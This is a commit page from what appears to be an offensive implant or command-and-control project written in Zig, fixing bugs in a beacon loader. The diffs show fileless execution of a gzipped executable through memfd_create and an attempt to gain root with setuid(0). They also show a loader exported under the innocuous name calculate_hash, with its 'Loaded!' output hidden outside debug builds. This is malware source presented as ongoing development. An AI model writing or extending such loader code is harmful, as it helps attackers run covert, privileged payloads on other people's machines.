feat: fixed server comp, added ELF inject
I gave up and just put it in a Docker image, it's not as important as the beacons being statically compiled
This commit is contained in:
@@ -13,7 +13,7 @@ const config = @import("config");
|
||||
fn open_temp() !std.fs.File {
|
||||
switch (builtin.os.tag) {
|
||||
.linux => {
|
||||
const fd = posix.memfd_create("", 0);
|
||||
const fd = try posix.memfd_create("", 0);
|
||||
return std.fs.File{ .handle = fd };
|
||||
},
|
||||
else => {
|
||||
@@ -69,7 +69,7 @@ fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
|
||||
uid = std.os.linux.syscall0(.getuid);
|
||||
try posix.setuid(0);
|
||||
|
||||
if (std.os.linux.syscall0() != 0) {
|
||||
if (std.os.linux.syscall0(.getuid) != 0) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
@@ -97,7 +97,7 @@ fn use_beacon(gzipped_exe: []const u8, parameters: *Parameters) !void {
|
||||
}
|
||||
|
||||
if (builtin.os.tag == .linux) {
|
||||
try posix.setuid(uid);
|
||||
try posix.setuid(@intCast(uid & 0xFFFF));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -21,7 +21,9 @@ fn fill_parameters() !void {
|
||||
}
|
||||
|
||||
export fn calculate_hash() callconv(.C) void {
|
||||
std.io.getStdOut().writeAll("Loaded!") catch {};
|
||||
if (dbg) {
|
||||
std.io.getStdOut().writeAll("Loaded!") catch {};
|
||||
}
|
||||
fill_parameters() catch |err| {
|
||||
if (dbg) {
|
||||
std.debug.print("Error calculating hash! {any}", .{err});
|
||||
|
||||
Reference in New Issue
Block a user